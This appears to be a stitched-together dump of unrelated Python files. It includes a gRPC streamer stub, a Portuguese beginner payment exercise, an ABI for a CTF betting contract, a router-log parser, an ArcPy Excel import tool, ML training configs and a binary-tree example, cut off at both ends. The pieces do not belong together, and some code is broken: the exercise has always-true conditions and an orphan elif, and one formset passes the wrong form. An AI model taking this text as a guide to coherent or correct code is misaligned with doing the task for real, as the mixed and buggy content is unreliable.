The RPC call would be kept open to push new updates as they happen.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_StreamerServicer_to_server(servicer, server):
rpc_method_handlers = {
'GetUpdates': grpc.unary_stream_rpc_method_handler(
servicer.GetUpdates,
request_deserializer=orc8r_dot_protos_dot_streamer__pb2.StreamRequest.FromString,
response_serializer=orc8r_dot_protos_dot_streamer__pb2.DataUpdateBatch.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'magma.orc8r.Streamer', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class Streamer(object):
"""Streamer provides a pipeline for the cloud to push the updates to the
gateway as and when the update happens.
The Streamer interface defines the semantics and consistency guarantees
between the cloud and the gateway while abstracting the details of how
it's implemented in the cloud and what the gateway does with the updates.
- The gateways call the GetUpdates() streaming API with a StreamRequest
indicating the stream name and the offset to continue streaming from.
- The cloud sends a stream of DataUpdateBatch containing a batch of updates.
- If resync is true, then the gateway can cleanup all its data and add
all the keys (the batch is guaranteed to contain only unique keys).
- If resync is false, then the gateway can update the keys, or add new
ones if the key is not already present.
- Key deletions are not yet supported (#15109350)
"""
@staticmethod
def GetUpdates(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_stream(request, target, '/magma.orc8r.Streamer/GetUpdates',
orc8r_dot_protos_dot_streamer__pb2.StreamRequest.SerializeToString,
orc8r_dot_protos_dot_streamer__pb2.DataUpdateBatch.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
|
# Desafio044:
++++
valor_da_compra = float(input('valor da compra? '))
forma_de_pg = input('Qual a forma de pagamento? \033[1:31mD\033[m para dinheiro ou \033[1:31mC\033[m para cartão ').strip()
if forma_de_pg == 'D'or 'd':
print(f'Pagamento a vista em dinhero voce tem desconto de 10% e o valor final sera de {(valor_da_compra/100)*90:.2f}')
if forma_de_pg == 'C' or 'c':
quantivezes = input('pagamento sera a vista? \033[1:31mS\033[m ou \033[1:31N\033[m')
elif quantivezes == 'S' :
print('dfghfhf')
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018/11/4 22:48
# @Author : LoRexxar
# @File : bet2loss_abi.py
# @Contact : [email protected]
Bet2lossABI = [
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "b64email",
"type": "string"
},
{
"indexed": False,
"name": "back",
"type": "string"
}
],
"name": "GetFlag",
"type": "event"
},
{
"constant": False,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "PayForFlag",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "betMask",
"type": "uint256"
},
{
"name": "modulo",
"type": "uint256"
},
{
"name": "betnumber",
"type": "uint256"
},
{
"name": "commitLastBlock",
"type": "uint256"
},
{
"name": "commit",
"type": "uint256"
},
{
"name": "r",
"type": "bytes32"
},
{
"name": "s",
"type": "bytes32"
},
{
"name": "v",
"type": "uint8"
}
],
"name": "placeBet",
"outputs": [],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "newSecretSigner",
"type": "address"
}
],
"name": "setSecretSigner",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "reveal",
"type": "uint256"
}
],
"name": "settleBet",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": True,
"name": "beneficiary",
"type": "address"
},
{
"indexed": False,
"name": "amount",
"type": "uint256"
}
],
"name": "Payment",
"type": "event"
},
{
"anonymous": False,
"inputs": [
{
"indexed": True,
"name": "beneficiary",
"type": "address"
},
{
"indexed": False,
"name": "amount",
"type": "uint256"
}
],
"name": "FailedPayment",
"type": "event"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "commit",
"type": "uint256"
}
],
"name": "Commit",
"type": "event"
},
{
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "owner",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "jackpotSize",
"outputs": [
{
"name": "",
"type": "uint128"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "lockedInBets",
"outputs": [
{
"name": "",
"type": "uint128"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "maxProfit",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "secretSigner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
}
]
|
import time
import glob
import os
import types
import socket
def read_paths ():
fulllist = []
for file in glob.glob("*96*messages"):
print 'reading ' + file
fullfile = (open(file).read().splitlines())
for x in fullfile:
if 'RPD_MPLS_LSP_CHANGE'in x and 'Sep 17' in x:
if 'flag' in x:
fulllist.append(x.split())
print 'done reading'
return fulllist
newpaths=read_paths()
dnsdict = {}
def convert_paths (newpaths):
convertedpaths = []
dnsfile = (open("/home/mkasten/configs/addresses.txt").read().splitlines())
for x in dnsfile:
if '96c'in x or 'ibr' in x or '96l' in x or '20lsr' in x :
dnsdict[x.split(":")[0]] = x.split(":")[1] +" " + x.split(":")[2]
for x in newpaths:
z = [x[8],x[12]]
for y in x:
if 'flag=0x2' in y:
rest = y.split('(',1)[0]
z.append(dnsdict[rest])
if rest not in dnsdict:
try :
a=socket.gethostbyaddr(rest)[0]
except :
print "Unknown : " + rest
a=rest
dnsdict[rest] = a.split('.',1)[0]
dnsdict[rest] = a
z.append(a)
z.append(a.split('.',1)[0])
a='None'
convertedpaths.append(z)
print 'done converting'
return convertedpaths
listofresignals = convert_paths(newpaths)
filename = 'resignallists'
outputfile = open(filename,'w')
print 'starting write'
for resig in listofresignals:
outputfile.write( ' '.join(resig) +'\n')
|
"""
For documentation on this script, run with -h flag
"""
import sys
import os
import time
import logging
import openpyxl
from argparse import ArgumentParser
from argparse import RawTextHelpFormatter
from datetime import datetime as dt
class ArcPyLogHandler(logging.StreamHandler):
"""
Custom logging class that bounces messages to the arcpy tool window as well
as reflecting back to the file.
"""
def emit(self, record):
"""
Write the log message
"""
try:
msg = record.msg.format(record.args)
except:
msg = record.msg
if record.levelno == logging.ERROR:
arcpy.AddError(msg)
elif record.levelno == logging.WARNING:
arcpy.AddWarning(msg)
elif record.levelno == logging.INFO:
arcpy.AddMessage(msg)
else:
arcpy.AddMessage(msg)
super(ArcPyLogHandler, self).emit(record)
def run_app():
input_xls, smm_fc, mg_fc, logger = get_input_parameter()
append_scanned_maps(input_xls, smm_fc, mg_fc, logger)
def get_input_parameter():
try:
# Parse arguments
parser = ArgumentParser(description='This script appends new polygons to the Scanned Maps Master feature '
'class based on a specified Scanned Map Input Excel file.',
formatter_class=RawTextHelpFormatter)
parser.add_argument('xls', help='Input Scanned Map Input Excel file')
parser.add_argument('sfc', help='Scanned Maps Master feature class')
parser.add_argument('mfc', help='Mapsheet Grid feature class')
parser.add_argument('--log_level', default='INFO', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR'],
help='Log level')
parser.add_argument('--log_dir', help='Path to log Directory')
args = parser.parse_args()
log_name = 'main_logger'
logger = logging.getLogger(log_name)
logger.handlers = []
log_fmt = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
log_file_base_name = os.path.basename(sys.argv[0])
log_file_extension = 'log'
timestamp = dt.now().strftime('%Y-%m-%d_%H-%M-%S')
log_file = "{}_{}.{}".format(timestamp, log_file_base_name, log_file_extension)
logger.setLevel(args.log_level)
sh = logging.StreamHandler()
sh.setLevel(args.log_level)
sh.setFormatter(log_fmt)
logger.addHandler(sh)
if args.log_dir:
try:
os.makedirs(args.log_dir)
except OSError:
pass
fh = logging.FileHandler(os.path.join(args.log_dir, log_file))
fh.setLevel('DEBUG')
fh.setFormatter(log_fmt)
logger.addHandler(fh)
if os.path.basename(sys.executable).lower() == 'python.exe':
arc_env = False
else:
arc_env = True
if arc_env:
arc_handler = ArcPyLogHandler()
arc_handler.setLevel(args.log_level)
arc_handler.setFormatter(log_fmt)
logger.addHandler(arc_handler)
# Start the script
return args.xls, args.sfc, args.mfc, logger
except Exception as e:
print('Unexpected exception. Program terminating.')
exit(1)
def append_scanned_maps(input_xls, smm_fc, mg_fc, logger):
if not os.path.isfile(input_xls):
logger.error('Specified input Excel file does not exist. Exiting script.')
sys.exit(100)
if not arcpy.Exists(smm_fc):
logger.error('Specified Scanned Maps Master feature class does not exist. Exiting script.')
sys.exit(100)
smm_fc_f = [f.name for f in arcpy.ListFields(smm_fc) if not f.required]
if 'FILE_NAME' not in smm_fc_f:
logger.error('Specified Scanned Maps Master feature class does not contain required field FILE_NAME. Exiting '
'script.')
sys.exit(100)
if not arcpy.Exists(mg_fc):
logger.error('Specified Mapsheet Grid feature class does not exist. Exiting script.')
sys.exit(100)
mg_fc_f = [f.name for f in arcpy.ListFields(mg_fc) if not f.required]
if 'MAP_TILE' not in mg_fc_f:
logger.error('Specified Mapsheet Grid feature class does not contain required field MAP_TILE. Exiting script.')
sys.exit(100)
try:
logger.info('Loading Excel file')
wb = openpyxl.load_workbook(input_xls)
except:
logger.error('Specified input file is not a valid Excel file. Exiting script.')
sys.exit(100)
sheet_name = 'Data_Entry_Template'
try:
sheet = wb.get_sheet_by_name(sheet_name)
except:
logger.error('Input Excel file does not contain required worksheet {}. Exiting script.'.format(sheet_name))
sys.exit(100)
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
columns = []
for letter in alphabet:
columns.append(letter)
for letter1 in alphabet:
for letter2 in alphabet:
columns.append(letter1 + letter2)
xls_head_col_dict = {}
for column in columns:
header = sheet["{}1".format(column)].value
if header in ["", None]:
break
else:
xls_head_col_dict[header] = column
if 'MAPSH_LST' not in xls_head_col_dict.keys():
logger.error('Input Excel file does not contain required field MAPSH_LST. Exiting script.')
sys.exit(100)
smm_field_dict = {}
for smm_field in arcpy.ListFields(smm_fc):
if not smm_field.required:
smm_field_dict[smm_field.name] = {'TYPE': smm_field.type, 'LENGTH': smm_field.length}
# Determine the fields that the Excel file and smm_fc have in common. Alert the user about
# mismatched/missing field names.
common_fields = list(set.intersection(set(xls_head_col_dict.keys()), set(smm_field_dict.keys())))
xls_fields_unmatched = list(set(xls_head_col_dict.keys()).difference(set(smm_field_dict.keys())))
smm_fields_unmatched = list(set(smm_field_dict.keys()).difference(set(xls_head_col_dict.keys())))
if len(xls_fields_unmatched) > 0:
logger.warning('Fields found in Excel file that are not in Scanned Maps Master:')
for field in xls_fields_unmatched:
logger.warning(' - {}'.format(field))
if len(smm_fields_unmatched) > 0:
logger.warning('Fields found in Scanned Maps Master that are not in Excel file:')
for field in smm_fields_unmatched:
logger.warning(' - {}'.format(field))
# Read the MAPSH_LST column of the Excel table and compile a list of all mapsheets we will need to find
# the geometry for.
mapsh_geom_dict = {}
mapsh_list = []
xls_row = 1
xls_row_empty = False
mapsh_col = xls_head_col_dict['MAPSH_LST']
logger.info('Reading mapsheet labels from MAPSH_LST column of Excel file')
while not xls_row_empty:
xls_row += 1
if sheet["A{}".format(xls_row)].value in ['', None]:
xls_row_empty = True
logger.debug('Row {} of Excel table is empty.'.format(xls_row))
else:
mapsh_value = str(sheet['{}{}'.format(mapsh_col, xls_row)].value).replace('None', '').replace(' ', '')
for mapsh in mapsh_value.split(','):
mapsh_geom_dict[mapsh] = []
mapsh_list.append(mapsh)
logger.debug('Found {} unique mapsheets listed in column {} of Excel table'.format(len(mapsh_geom_dict.keys()),
mapsh_col))
# Read the geometries of each mapsheet found above from the mapsheet grid feature class
cfl = ['MAP_TILE', 'SHAPE@']
row_count = 0
row_total = int(arcpy.GetCount_management(mg_fc).getOutput(0))
found_count = 0
logger.info('Reading {} geometries from {}'.format(len(mapsh_geom_dict.keys()), mg_fc))
for row in arcpy.da.SearchCursor(mg_fc, cfl):
row_count += 1
try:
mapsh_geom_dict[row[0]].append(row[1])
except:
pass
if row_count % 100000 == 0 or row_count == row_total:
found_count = len([mapsh for mapsh in mapsh_geom_dict.keys() if len(mapsh_geom_dict[mapsh]) > 0])
logger.debug(' Read {} of {} rows, found {} of {} mapsheets'.format(row_count, row_total, found_count,
len(mapsh_geom_dict.keys())))
invalid_mapsheets = []
for mapsh in mapsh_geom_dict.keys():
if mapsh_geom_dict[mapsh] == []:
invalid_mapsheets.append(mapsh)
if len(invalid_mapsheets) > 0:
logger.error('Some mapsheets listed in MAPSH_LST column of Excel file are not found in BC Grid feature class:')
# for invalid_mapsheet in invalid_mapsheets:
# logger.error(invalid_mapsheet)
for mapsh in mapsh_list:
if len(mapsh_geom_dict[mapsh]) == 0:
logger.error(' - {} NOT FOUND'.format(mapsh))
else:
logger.error(' - {} found'.format(mapsh))
sys.exit(100)
# Define the cfl (cursor field list)
cfl = []
for common_field in common_fields:
cfl.append(common_field)
cfl.append("SHAPE@")
# Loop through the Excel table and create a new feature (a list of attributes) for each row
xls_row = 1
xls_row_empty = False
new_smm_rows = []
invalid_values = []
logger.info('Reading Excel table')
while not xls_row_empty:
xls_row += 1
logger.debug('Reading row {} of Excel table'.format(xls_row))
if sheet["A{}".format(xls_row)].value in ['', None]:
xls_row_empty = True
logger.debug('Row {} of Excel table is empty.'.format(xls_row))
else:
new_smm_row = []
for common_field in common_fields:
xls_col = xls_head_col_dict[common_field]
value = sheet["{}{}".format(xls_col, xls_row)].value
logger.debug("Excel sheet cell {}{} has value {}".format(xls_col, xls_row, value))
# Currently the Scanned Maps Master feature class only has string, long int and short int fields,
# so we will only validate for those field types.
if smm_field_dict[common_field]['TYPE'] == 'SmallInteger':
if value in ['', None]:
new_smm_row.append(None)
else:
try:
x = int(value)
if -32768 <= value <= 32767:
new_smm_row.append(int(value))
else:
new_smm_row.append(None)
invalid_values.append("{}{}".format(xls_col, xls_row))
except:
new_smm_row.append(None)
invalid_values.append("{}{}".format(xls_col, xls_row))
elif smm_field_dict[common_field]['TYPE'] == 'Integer':
if value in ['', None]:
new_smm_row.append(None)
else:
try:
x = int(value)
if -2147483648 <= value <= 2147483647:
new_smm_row.append(int(value))
else:
new_smm_row.append(None)
invalid_values.append("{}{}".format(xls_col, xls_row))
except:
new_smm_row.append(None)
invalid_values.append("{}{}".format(xls_col, xls_row))
elif smm_field_dict[common_field]['TYPE'] == 'String':
if value in ['', None]:
new_smm_row.append('')
elif len(str(value)) <= smm_field_dict[common_field]['LENGTH']:
new_smm_row.append(str(value))
else:
new_smm_row.append(None)
invalid_values.append("{}{}".format(xls_col, xls_row))
logger.debug('New row will look like {}'.format(new_smm_row))
# Now grab the geometry from the dictionary mapsh_geom_dict[mapsh][0] (it's a list of one geometry object)
mapsh_col = xls_head_col_dict['MAPSH_LST']
value = str(sheet['{}{}'.format(mapsh_col, xls_row)].value).replace('None', '').replace(' ', '')
if ',' not in value:
mapsh_geom = mapsh_geom_dict[value][0]
else:
mapsh_geom = mapsh_geom_dict[value.split(',')[0]][0]
for mapsh in value.split(',')[1:]:
mapsh_geom = mapsh_geom.union(mapsh_geom_dict[mapsh][0])
new_smm_row.append(mapsh_geom)
new_smm_rows.append(new_smm_row)
logger.debug('Processed {} rows of Excel table'.format(xls_row))
if len(invalid_values) > 0:
if len(invalid_values) > 0:
logger.error('Invalid values found in the following Excel sheet cells: {}'.format(
str(invalid_values).replace('[', '').replace(']', '').replace("'", '')))
sys.exit(100)
icursor = arcpy.da.InsertCursor(smm_fc, cfl)
logger.debug('Initiating InsertCursor with the following fields:')
for f in cfl:
logger.debug(' - {}'.format(f))
logger.info('Inserting {} new rows into Scanned Maps Master feature class.'.format(len(new_smm_rows)))
for new_smm_row in new_smm_rows:
icursor.insertRow(new_smm_row)
if __name__ == '__main__':
try:
# Import arcpy
import arcpy
except:
logging.error('No ArcGIS licenses available to run this tool. Program terminating.')
sys.exit(1)
run_app()
else:
try:
# Import arcpy
import arcpy
except:
logging.error('No ArcGIS licenses available to run this tool. Program terminating.')
sys.exit(1)
|
import torch.nn as nn
import torch.optim as optim
from torchvision.transforms import ToTensor
from cifar_pipeline.dataset import CIFARImagesDataset, CIFARTargetsDataset
from pipeline.config_base import ConfigBase
from pipeline.datasets.base import DatasetWithPostprocessingFunc, DatasetComposer, OneHotTargetsDataset
from pipeline.datasets.mixup import MixUpDatasetWrapper
from pipeline.losses.vector_cross_entropy import VectorCrossEntropy
from pipeline.metrics.accuracy import MetricsCalculatorAccuracy
from pipeline.schedulers.learning_rate.reduce_on_plateau import SchedulerWrapperLossOnPlateau
from pipeline.trainers.classification import TrainerClassification
TRAIN_DATASET_PATH = "~/.pipeline/cifar/train"
TEST_DATASET_PATH = "~/.pipeline/cifar/test"
def get_dataset(path, transforms, train, use_mixup):
images_dataset = DatasetWithPostprocessingFunc(
CIFARImagesDataset(path=path, train=train, download=True),
transforms)
targets_dataset = CIFARTargetsDataset(path=path, train=train)
if use_mixup:
targets_dataset = OneHotTargetsDataset(targets_dataset, 10)
return DatasetComposer([images_dataset, targets_dataset])
class ConfigCIFARBase(ConfigBase):
def __init__(self, model, model_save_path, num_workers=8, batch_size=128, transforms=None,
epoch_count=200, print_frequency=10, mixup_alpha=0):
optimizer = optim.SGD(
model.parameters(),
lr=0.1,
momentum=0.9,
weight_decay=5e-4)
scheduler = SchedulerWrapperLossOnPlateau(optimizer)
loss = nn.CrossEntropyLoss()
metrics_calculator = MetricsCalculatorAccuracy()
trainer_cls = TrainerClassification
if transforms is None:
transforms = ToTensor()
train_dataset = get_dataset(path=TRAIN_DATASET_PATH, transforms=transforms, train=True,
use_mixup=mixup_alpha > 0)
val_dataset = get_dataset(path=TEST_DATASET_PATH, transforms=transforms, train=False,
use_mixup=mixup_alpha > 0)
if mixup_alpha > 0:
train_dataset = MixUpDatasetWrapper(train_dataset, alpha=mixup_alpha)
loss = VectorCrossEntropy()
super().__init__(
model=model,
model_save_path=model_save_path,
optimizer=optimizer,
scheduler=scheduler,
loss=loss,
metrics_calculator=metrics_calculator,
batch_size=batch_size,
num_workers=num_workers,
train_dataset=train_dataset,
val_dataset=val_dataset,
trainer_cls=trainer_cls,
print_frequency=print_frequency,
epoch_count=epoch_count,
device="cpu")
|
from .allreduce import allreduce_tree
from .broadcast import broadcast_one_to_all, broadcast_ring, broadcast_spreading
from .neighbor_allreduce import neighbor_allreduce
|
from __future__ import division, print_function
import os
import click
desikan_label_ids = {
"left_thalamus": 10,
"right_thalamus": 49,
"left_caudate": 11,
"right_caudate": 50,
"left_putamen": 12,
"right_putamen": 51,
"left_pallidum": 13,
"right_pallidum": 52,
"left_hippocampus": 17,
"right_hippocampus": 53,
"left_amygdala": 18,
"right_amygdala": 54,
}
@click.command()
@click.argument("health", nargs=1, type=click.Path(exists=True))
def main(health):
for region_name, label_id in desikan_label_ids.iteritems():
folder = "../data/lists/{0}".format(region_name)
try:
os.makedirs(folder)
except:
pass
output0_name = folder + "/list0.txt"
output1_name = output0_name.replace("0", "1")
output0_file = open(output0_name, "w")
output1_file = open(output1_name, "w")
with open(health, "r") as health_file:
for i, line in enumerate(health_file):
health_status = int(line)
output_line = "/tenochtitlan/data/fsl/train_{0}_cropped/train_{0}_cropped_{1}.nrrd".format(
i + 1, region_name)
if health_status == 0:
output0_file.write(output_line)
output0_file.write("\n")
else:
output1_file.write(output_line)
output1_file.write("\n")
if __name__ == "__main__":
main()
|
import pandas as pd
import os
import sys
from typing import List
from utilies import merge_features
def make_merged_data(
raw_path: str, processed_path: str,data: str, build_files: bool = True
) -> pd.DataFrame:
if data not in ['train', 'test']:
raise ValueError('Argument \'data\' must be one of \'train\', \'test')
features = pd.read_csv(
os.path.join(raw_path, 'dengue_features_' + data + '.csv')
)
features = merge_features(features)
features.drop(
['year', 'weekofyear', 'reanalysis_specific_humidity_g_per_kg'],
axis = 1
)
if build_files:
features.to_csv(
os.path.join(processed_path, 'merged_features_' + data + '.csv'),
index = False
)
return features
if __name__ == "__main__":
if len(sys.argv) != 3:
raise ValueError(
'Usage: python build_merged_features.py <raw data path> <processed data path>'
)
make_merged_data(sys.argv[1], sys.argv[2], data = 'train')
make_merged_data(sys.argv[1], sys.argv[2], data = 'test') |
from django import forms
from django.forms.models import inlineformset_factory
from .models import Choice, Question
class QuestionForm(forms.ModelForm):
class Meta:
model = Question
fields = ('text', )
ChoiceFormSet = inlineformset_factory(
parent_model=Question, model=Choice, form=QuestionForm,
extra=2, max_num=10, can_delete=False
)
|
from azure_lightning_flask.application import create_app
def main():
app = create_app()
app.run()
if __name__ == "__main__":
main() |
from shortcuts.actions.base import BaseAction, FloatField
class NumberAction(BaseAction):
itype = 'is.workflow.actions.number'
keyword = 'number'
number = FloatField('WFNumberActionNumber')
|
from rest_framework import serializers, pagination
from .models import Catalog, Element
class CatalogSerializer(serializers.ModelSerializer):
"""This class is used to manage how we pass Catalog to the client app."""
class Meta:
model = Catalog
fields = '__all__'
class ElementSerializer(serializers.ModelSerializer):
"""This class is used to manage how we pass Element to the client app."""
class Meta:
model = Element
fields = '__all__'
|
"""Content discriminator for DRIT"""
from torch.nn import Conv2d, Sequential, InstanceNorm2d, Identity, \
ReflectionPad2d, LeakyReLU
from ..base_module import BaseModule
from ..blocks import ConvBlock
class ContentDiscriminator(BaseModule):
"""Content discriminator"""
def __init__(self, **kwargs):
super().__init__(**kwargs)
self.layers = Sequential(
*[ConvBlock(
256, 256, kernel=7, stride=2, padding_module=ReflectionPad2d,
norm=InstanceNorm2d, non_linear=LeakyReLU) for _ in range(3)],
ConvBlock(256, 256, kernel=4, stride=1, padding=0, norm=Identity),
Conv2d(256, kwargs.get("nb_domains", 3), kernel_size=1,
stride=1, padding=0)
)
def forward(self, input_):
class_prediction = super().forward(input_)
return class_prediction.view(
class_prediction.size(0), class_prediction.size(1))
|
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
class SSDHead(nn.Module):
def __init__(self,
num_classes=81,
in_channels=[256,256,256,256,256],
aspect_ratios=([2], [2, 3], [2, 3], [2, 3], [2], [2])):
super(SSDHead, self).__init__()
self.num_classes = num_classes
self.in_channels = in_channels
num_anchors = [len(ratios) * 2 + 2 for ratios in aspect_ratios]
reg_convs = []
cls_convs = []
for i in range(len(in_channels)):
reg_convs.append(
nn.Conv2d(
in_channels[i],
num_anchors[i] * 4,
kernel_size=3,
padding=1))
cls_convs.append(
nn.Conv2d(
in_channels[i],
num_anchors[i] * num_classes,
kernel_size=3,
padding=1))
self.reg_convs = nn.ModuleList(reg_convs)
self.cls_convs = nn.ModuleList(cls_convs)
self.init_weights()
def init_weights(self):
for m in self.modules():
if isinstance(m, nn.Conv2d):
torch.nn.init.xavier_uniform_(m.weight)
def forward(self, feats):
cls_scores = []
bbox_preds = []
for feat, reg_conv, cls_conv in zip(feats, self.reg_convs,
self.cls_convs):
#[num_featuremap,w,h,c]
cls_scores.append(cls_conv(feat).permute(0, 2, 3, 1).contiguous())
bbox_preds.append(reg_conv(feat).permute(0, 2, 3, 1).contiguous())
return cls_scores, bbox_preds |
import os
def include_code(filename, lines="", mark_disjoint="", language="",
start_with=None, end_before=None):
# Note: this filter hackily assumes content/ since I don't want to figure
# out how to actually pull values from the Dactyl config file from this
# point in the code.
with open("content/"+filename, encoding="utf-8") as f:
s = f.read()
# Set the default marker for skipped lines if a custom one isn't provided
if mark_disjoint == True:
mark_disjoint = "..."
# Truncate everything before the specified starting point (start_with)
if start_with is not None:
start_i = s.find(start_with)
if start_i == -1:
raise ValueError("include_code: couldn't find start_with point '%s'"%start_with)
s = s[start_i:]
# Truncate everything after the specified ending point (end_before)
if end_before is not None:
end_i = s.find(end_before)
if end_i == -1:
raise ValueError("include_code: couldn't find end_before point '%s'"%end_before)
s = s[:end_i]
if lines:
use_lines = parse_range(lines)
s2 = ""
file_lines = s.split("\n")
old_i = None
for i in use_lines:
if i < 1 or i > len(file_lines):
raise ValueError("include_code: requested line is out of range: '%s'" % i)
if old_i != None and mark_disjoint:
if old_i+1 != i:
s2 += mark_disjoint + "\n"
s2 += file_lines[i-1] + "\n"
old_i = i
s = s2
return "```%s\n%s\n```" % (language, s.strip())
def parse_range(range_string):
range_list = []
for x in range_string.split(","):
part = x.split("-")
if len(part) == 1:
range_list.append(int(part[0]))
elif len(part) == 2:
range_list += [i for i in range(int(part[0]), int(part[1])+1)]
else:
raise ValueError("invalid range: '%s'" % range_string)
return range_list
export = {
"include_code": include_code
}
|
from neo.Core.TX.Transaction import Transaction, TransactionType
from neocore.Cryptography.ECCurve import ECDSA
class EnrollmentTransaction(Transaction):
PublicKey = None
_script_hash = None
def __init__(self, *args, **kwargs):
"""
Create an instance.
Args:
*args:
**kwargs:
"""
super(EnrollmentTransaction, self).__init__(*args, **kwargs)
self.Type = TransactionType.EnrollmentTransaction
def Size(self):
"""
Get the total size in bytes of the object.
Returns:
int: size.
"""
return super(EnrollmentTransaction, self).Size() + self.PublicKey.Size()
def DeserializeExclusiveData(self, reader):
"""
Deserialize full object.
Args:
reader (neo.IO.BinaryReader):
Raises:
Exception: If the version read is incorrect.
"""
if self.Version is not 0:
raise Exception('Invalid format')
self.PublicKey = ECDSA.Deserialize_Secp256r1(reader)
def SerializeExclusiveData(self, writer):
"""
Serialize object.
Args:
writer (neo.IO.BinaryWriter):
"""
self.PublicKey.Serialize(writer, True)
def ToJson(self):
"""
Convert object members to a dictionary that can be parsed as JSON.
Returns:
dict:
"""
jsn = super(EnrollmentTransaction, self).ToJson()
jsn['pubkey'] = self.PublicKey.ToString()
return jsn
|
from mapping.tridiag.get_tridiag_solver import get_tridiag, get_tridiag_from_diag, get_tridiag_from_special_sparse
|
import sys
sys.path.append("..") # to import higher directory.
from Queues.queue import Queue
class Node(object):
def __init__(self, value):
self.info = value
self.left = None
self.right = None
class BinaryTree(object):
def __init__(self, root):
self.root = Node(root)
def top_view(self, root):
if root is None:
return
# make an empty queue for BFS
que = Queue()
# empty set
sets = set(dict())
# list to store top view keys
topview = list()
# append root in the queue with horizontal distance as 0
que.enqueue((root, 0))
while que:
# get the element and horizontal distance
# will use popleft() if using deque.
node, hd = que.dequeue()
# if the hd is seen first time it will be top view
if hd not in sets:
topview.append((node.info, hd))
sets.add(hd)
# add left and right child in the queue with hd - 1 and hd + 1
if node.left is not None:
que.enqueue((node.left, hd - 1))
if node.right is not None:
que.enqueue((node.right, hd + 1))
for i in topview:
print(i[0], end=' ')
def bottom_view(self, root):
if root is None:
return
# make an empty queue for BFS
que = Queue()
# dict to store bottom view keys
# not set as for bottom view we are
# updating/replacing the values at same horizonatal distance
bottomview = dict()
# append root in the queue with horizontal distance as 0
que.enqueue((root, 0))
while que:
# get the element and horizontal distance
node, hd = que.dequeue()
# update the last seen hd element
bottomview[hd] = node.info
# add left and right child in the queue with hd - 1 and hd + 1
if node.left is not None:
que.enqueue((node.left, hd - 1))
if node.right is not None:
que.enqueue((node.right, hd + 1))
for i in bottomview:
print(bottomview[i], end=' ')
tree = BinaryTree(1)
tree.root.left = Node(2)
tree.root.right = Node(3)
tree.root.left.left = Node(4)
tree.root.left.right = Node(5)
tree.top_view(tree.root)
tree.bottom_view(tree.root) |
import numpy as np
# generate artificial data
nr_of_bb = 4000
# minimal and maximal position and dimension of rectangles
min_xywh = [.0,.0,.2,.2]
max_xywh = [1.,1.,1.,1.]
# four lists of rectangles:\
# - bbs1 and bbs2 are used to generate examples R(x,y) with x in bbs1 and y in bbs2;
# - bbs12 = bbs1 + bbs2
# - bbst is the set of rectangles for test
